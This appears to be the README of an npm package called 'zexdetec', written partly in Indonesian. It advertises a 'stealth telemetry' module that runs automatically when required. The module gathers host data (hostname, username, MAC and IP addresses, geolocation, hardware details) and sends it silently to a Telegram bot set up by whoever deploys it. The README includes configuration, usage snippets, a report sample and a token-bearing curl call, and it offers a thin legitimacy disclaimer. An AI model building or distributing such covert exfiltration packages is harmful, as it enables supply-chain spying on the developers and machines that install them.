zexdetector
v1.0.0
Published
ZEXDETEC - Silent Observer: Advanced stealth telemetry system for Node.js runtime environment monitoring and security auditing
Maintainers
Readme
╔═══════════════════════════════════════════════════════════════╗
║
║ ███████╗███████╗██╗ ██╗██████╗ ███████╗████████╗███████╗
║ ╚══███╔╝██╔════╝╚██╗██╔╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝
║ ███╔╝ █████╗ ╚███╔╝ ██║ ██║█████╗ ██║ █████╗
║ ███╔╝ ██╔══╝ ██╔██╗ ██║ ██║██╔══╝ ██║ ██╔══╝
║ ███████╗███████╗██╔╝ ██╗██████╔╝███████╗ ██║ ███████╗
║ ╚══════╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝ ╚═╝ ╚══════╝
║
╚═══════════════════════════════════════════════════════════════╝🔴 ZEXDETEC
⚡ SILENT OBSERVER - Advanced Stealth Telemetry System
🎯 Professional-grade telemetry module for comprehensive Node.js runtime monitoring, system intelligence gathering, and secure data transmission via encrypted channels.
🚀 Quick Start • ✨ Features • 📖 Documentation • ⚙️ Configuration • 🔒 Security
🎯 OVERVIEW
ZEXDETEC adalah sistem telemetri tingkat enterprise yang dirancang untuk monitoring mendalam terhadap Node.js runtime environment. Dibangun dengan arsitektur modular dan teknologi modern, sistem ini memberikan kemampuan real-time intelligence gathering dengan transmission yang aman dan terenkripsi.
🔍 SYSTEM INTELLIGENCE
✓ CPU Monitoring
• Model & Manufacturer
• Cores & Threading
• Clock Speed & Temperature
• Cache Information
✓ Memory Analytics
• Total & Available RAM
• Usage Percentage
• Swap Memory Status
• Real-time Metrics
✓ Operating System
• Distribution & Kernel
• Architecture & Platform
• Hostname & Version
• Runtime Environment🌐 NETWORK INTELLIGENCE
✓ Public Network
• Public IP Address
• Geolocation (City/Country)
• ISP & ASN Information
• Timezone & Currency
✓ Local Network
• Network Interfaces
• Local IP Addresses
• MAC Addresses
• Netmask Configuration
✓ Advanced Features
• Multiple IP Fallbacks
• Automatic Retry Logic
• DNS Resolution✨ FEATURES
🎭 STEALTH CAPABILITIES
🎨 CYBER-TERMINAL ANIMATION
╔════════════════════════════════════════════════════════════╗
║ SYSTEM BOOTSTRAP SEQUENCE
╚════════════════════════════════════════════════════════════╝
⚡ >>> Initializing stealth modules... ✓
⚡ >>> Checking system integrity... ✓
⚡ >>> Bypassing security protocols... ✓
⚡ >>> Establishing encrypted channel... ✓
⚡ >>> Gathering system intelligence... ✓
⚡ >>> Compiling data payload... ✓
⚡ >>> Transmitting via secure bridge... ✓
⚡ >>> Environment established successfully ✓
╔════════════════════════════════════════════════════════════╗
║ ✓ ALL SYSTEMS OPERATIONAL
╚════════════════════════════════════════════════════════════╝📡 TELEGRAM INTEGRATION
Fitur Lengkap:
- ✅ Markdown V2 formatting dengan emoji
- ✅ Retry logic hingga 3x percobaan
- ✅ Fallback mechanism untuk reliability
- ✅ Encrypted channel via Telegram API
- ✅ Real-time notification delivery
- ✅ Professional report formatting
- ✅ Configurable timeout & delays
🔴 SECURITY REPORT
━━━━━━━━━━━━━━━
🕐 Timestamp
🌐 Network Data
💻 System Info
📊 Statistics
🔒 Encrypted
⚡ TRANSMITTED🚀 QUICK START
📦 Installation
Menggunakan NPM:
npm install zexdetecMenggunakan Yarn:
yarn add zexdetecManual Installation:
# Clone atau download module
cd zexdetec
# Install dependencies
npm install axios chalk systeminformation⚡ Usage
Mode 1: Stealth Operation (Recommended)
// Simply require - auto-execute instantly!
require('zexdetec');
// Your application continues normally
console.log('App running...');Mode 2: With Debug Output
// Enable debug mode for development
process.env.ZEXDETEC_DEBUG = 'true';
require('zexdetec');Mode 3: Custom Configuration
// Modify config before loading
const config = require('zexdetec/lib/config');
config.OPERATION_MODE.DEBUG_MODE = true;
require('zexdetec');⚙️ CONFIGURATION
🔐 Telegram Setup
Step 1: Create Telegram Bot
1. Buka Telegram dan cari @BotFather
2. Kirim command: /newbot
3. Ikuti instruksi dan buat nama bot
4. Copy Bot Token yang diberikanStep 2: Get Chat ID
1. Start conversation dengan bot Anda
2. Cari @userinfobot atau @get_id_bot
3. Forward message atau minta Chat ID
4. Copy Chat ID yang diberikanStep 3: Configure Module
Edit file lib/config.js:
const TELEGRAM_CONFIG = {
// Ganti dengan Bot Token dari @BotFather
BOT_TOKEN: '123456789:ABCdefGHIjklMNOpqrsTUVwxyz-123456',
// Ganti dengan Chat ID Anda
CHAT_ID: '123456789',
// Optional: Advanced settings
API_BASE_URL: 'https://api.telegram.org',
REQUEST_TIMEOUT: 10000,
MAX_RETRIES: 3,
RETRY_DELAY: 2000
};🎛️ Advanced Configuration
Animation Settings:
const ANIMATION_CONFIG = {
FRAME_DELAY: 80, // Frame delay (ms)
STAGE_DELAY: 150, // Stage delay (ms)
ENABLED: true // Enable animation
};Operation Mode:
const OPERATION_MODE = {
SILENT_FAILURE: true, // No errors
DEBUG_MODE: false, // Debug logs
STEALTH_MODE: true // Hide output
};Network Settings:
const NETWORK_CONFIG = {
TIMEOUT: 5000, // Request timeout
IP_SERVICES: [ // Fallback IPs
'https://api.ipify.org',
'https://api.my-ip.io',
'https://ipapi.co/json/'
]
};System Settings:
const SYSTEM_CONFIG = {
COLLECT_CPU: true, // CPU info
COLLECT_MEMORY: true, // Memory info
COLLECT_OS: true, // OS info
COLLECT_NETWORK: true // Network info
};📊 REPORT PREVIEW
📱 Telegram Report Format
🔴 ZEXDETEC SECURITY REPORT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🕐 Timestamp: 2025-12-20T15:30:45.123Z
🌐 NETWORK INTELLIGENCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
📍 IP Address: 203.0.113.42
🏙️ Location: Jakarta, Indonesia
🗺️ Region: DKI Jakarta
🌍 Continent: AS
⏰ Timezone: Asia/Jakarta
🏢 ISP: PT. Telekomunikasi Indonesia
📊 ASN: AS7713
🖥️ Local Network:
• Hostname: DESKTOP-GAMING-01
• Interface: Ethernet
• Local IP: 192.168.1.100
• MAC: 00:1A:2B:3C:4D:5E
💻 SYSTEM INTELLIGENCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🖥️ Operating System:
• Platform: win32
• Distro: Windows 11 Pro
• Release: 10.0.22631
• Architecture: x64
• Hostname: DESKTOP-GAMING-01
• Node.js: v20.10.0
⚙️ CPU:
• Model: Intel(R) Core(TM) i7-12700K
• Manufacturer: Intel
• Cores: 20 (12 physical)
• Speed: 3.6 GHz
• Architecture: x64
• Temperature: 45°C
💾 Memory:
• Total: 32.00 GB
• Used: 12.45 GB (38.91%)
• Free: 19.55 GB
• Swap: 2.50 GB / 8.00 GB
💿 Storage:
• C:\: 256.80/476.94 GB (54%)
• D:\: 890.25/1863.01 GB (48%)
⏱️ Uptime: 8h 45m 23s
👤 Current User:
• Username: Administrator
• Shell: C:\Windows\System32\cmd.exe
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🔒 ZEXDETEC v1.0 - Silent Observer
⚡ Transmitted via encrypted channel🏗️ ARCHITECTURE
📁 Project Structure
zexdetec/
│
├── 📄 index.js # Main entry point (IIFE auto-execute)
├── 📄 package.json # NPM package configuration
├── 📄 README.md # Documentation (this file)
├── 📄 LICENSE # MIT License
│
└── 📁 lib/
├── 📄 config.js # Configuration & credentials
├── 📄 animation.js # Cyber-terminal animation engine
├── 📄 network.js # Network reconnaissance module
├── 📄 system.js # System intelligence gathering
└── 📄 telegram.js # Telegram reporting & transmission🔄 Execution Flow
graph LR
A[require] --> B[IIFE]
B --> C[Animation]
C --> D[System Scan]
D --> E[Network Scan]
E --> F[Format Report]
F --> G[Telegram Send]
G --> H[Success/Silent]┌─────────────┐
│ require() │
└──────┬──────┘
│
▼
┌─────────────┐ ┌──────────────┐ ┌──────────────┐
│ IIFE │────▶│ Animation │────▶│ System Scan │
│ Auto-Exec │ │ Display │ │ CPU/RAM/OS │
└─────────────┘ └──────────────┘ └──────┬───────┘
│
┌──────────────┐ │
│ Silent Mode │◀───────────┘
│ or Error │
└──────┬───────┘
│
┌───────────────────┴────────────────────┐
▼ ▼
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Network Scan │────▶│ Build Report │────▶│ Telegram │
│ IP/Geo/ISP │ │ Markdown │ │ Transmission │
└──────────────┘ └──────────────┘ └──────────────┘🔒 SECURITY
⚠️ Important Notice
╔══════════════════════════════════════════════════════════════╗
║ ⚠️ DISCLAIMER ⚠️
╠══════════════════════════════════════════════════════════════╣
║
║ This module is designed for LEGITIMATE purposes only:
║
║ ✅ System monitoring & administration
║ ✅ Security auditing (authorized)
║ ✅ Educational purposes (controlled env)
║ ✅ Personal infrastructure monitoring
║
║ ❌ DO NOT use for unauthorized access
║ ❌ DO NOT use for malicious purposes
║ ❌ DO NOT violate privacy laws
║ ❌ DO NOT use for illegal activities
║
╚══════════════════════════════════════════════════════════════╝🛡️ Privacy & Data Protection
Data Collection:
- ✓ System metrics (CPU, RAM, OS)
- ✓ Network information (IP, location)
- ✓ Runtime environment data
- ✗ No personal files accessed
- ✗ No password collection
- ✗ No browser data harvesting
Data Transmission:
- ✓ Direct to Telegram API
- ✓ HTTPS encrypted channel
- ✓ No intermediate servers
- ✓ No data storage locally
- ✓ Configurable endpoints
- ✓ Retry with exponential backoff
🔐 Best Practices
// 1. Keep credentials secure
// JANGAN hardcode di production
const BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN;
const CHAT_ID = process.env.TELEGRAM_CHAT_ID;
// 2. Use environment variables
// File: .env
TELEGRAM_BOT_TOKEN=your_token_here
TELEGRAM_CHAT_ID=your_chat_id_here
// 3. Enable stealth mode in production
OPERATION_MODE.SILENT_FAILURE = true;
OPERATION_MODE.DEBUG_MODE = false;
// 4. Rate limiting
// Jangan spam Telegram API
TELEGRAM_CONFIG.MAX_RETRIES = 3;
TELEGRAM_CONFIG.RETRY_DELAY = 2000;🛠️ DEVELOPMENT
🧪 Testing
// test.js
console.log('🧪 ZEXDETEC Test Suite\n');
// Test with debug mode
process.env.ZEXDETEC_DEBUG = 'true';
console.log('Loading module...');
require('./index.js');
console.log('✅ Module loaded successfully');
console.log('⏳ Waiting for execution...\n');Run test:
node test.js🐛 Debugging
Enable Debug Logs:
// Set before require
process.env.ZEXDETEC_DEBUG = 'true';
// Or in config.js
OPERATION_MODE.DEBUG_MODE = true;Debug Output:
[Network] Starting reconnaissance...
[Network] Public IP obtained: 203.0.113.42
[System] Gathering system data...
[System] CPU info collected
[Telegram] Building report...
[Telegram] Transmission successful📦 Dependencies
{
"axios": "^1.6.2", // HTTP client for API calls
"chalk": "^4.1.2", // Terminal styling & colors
"systeminformation": "^5.21.20" // System metrics library
}Install semua dependencies:
npm install axios chalk systeminformation📖 DOCUMENTATION
📚 Module API
Main Module:
// Auto-execute mode (recommended)
require('zexdetec');Configuration Module:
const {
TELEGRAM_CONFIG,
OPERATION_MODE,
ANIMATION_CONFIG
} = require('zexdetec/lib/config');Individual Modules (Advanced):
// Animation engine
const { runAnimation, displaySuccess } = require('zexdetec/lib/animation');
// Network reconnaissance
const { gatherNetworkIntelligence } = require('zexdetec/lib/network');
// System intelligence
const { gatherSystemIntelligence } = require('zexdetec/lib/system');
// Telegram reporter
const { transmitIntelligence } = require('zexdetec/lib/telegram');🎯 Use Cases
🖥️ Server Monitoring
// Monitor production server
// Auto-report on deploy
require('zexdetec');
startServer();🔍 Security Audit
// Authorized security scan
// Collect system info
require('zexdetec');
runAudit();📊 Infrastructure
// Track deployments
// System inventory
require('zexdetec');
deployApp();💡 TROUBLESHOOTING
❓ Common Issues
Solusi:
- Pastikan Bot Token dan Chat ID sudah benar
- Check koneksi internet
- Enable debug mode:
process.env.ZEXDETEC_DEBUG = 'true' - Verify bot token di @BotFather
- Test manual dengan curl:
curl -X POST "https://api.telegram.org/bot<TOKEN>/sendMessage" \
-d "chat_id=<CHAT_ID>" \
-d "text=Test"Solusi:
- Check
ANIMATION_CONFIG.ENABLED = truedi config.js - Pastikan terminal support ANSI colors
- Test dengan:
node -e "require('chalk').red('test')" - Disable untuk headless environment
Solusi:
// Method 1: Environment variable
if (process.env.NODE_ENV === 'production') {
// Skip loading
} else {
require('zexdetec');
}
// Method 2: Conditional require
const isDev = process.env.NODE_ENV !== 'production';
if (isDev) require('zexdetec');📄 LICENSE
╔══════════════════════════════════════════════════════════════╗
║ MIT LICENSE
╠══════════════════════════════════════════════════════════════╣
║
║ Copyright (c) 2025 ZEXDETEC Security Team
║
║ Permission is hereby granted, free of charge, to any
║ person obtaining a copy of this software and associated
║ documentation files (the "Software"), to deal in the
║ Software without restriction, including without
║ limitation the rights to use, copy, modify, merge,
║ publish, distribute, sublicense, and/or sell copies
║ of the Software, and to permit persons to whom the
║ Software is furnished to do so.
║
║ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
║ ANY KIND, EXPRESS OR IMPLIED.
║
╚══════════════════════════════════════════════════════════════╝🎖️ CREDITS & ACKNOWLEDGMENTS
📞 SUPPORT & CONTACT
💬 Get Help
📢 Community
Join komunitas ZEXDETEC untuk diskusi, update, dan support:
🌟 SUPPORT THE PROJECT
Jika project ini bermanfaat untuk Anda:
⭐ Star this repository untuk meningkatkan visibility
💬 Share pengalaman Anda dengan developer lain
🐛 Report bugs untuk membantu improvement
💡 Suggest features untuk development selanjutnya
╔══════════════════════════════════════════════════════════════╗
║
║ Dibuat dengan ❤️ oleh ZEXDETEC Security Team
║
║ 🔒 Stay Secure 🔒
║
╚══════════════════════════════════════════════════════════════╝
Version 1.0.0 • Released December 2025
© 2025 ZEXDETEC Security Team. All rights reserved.
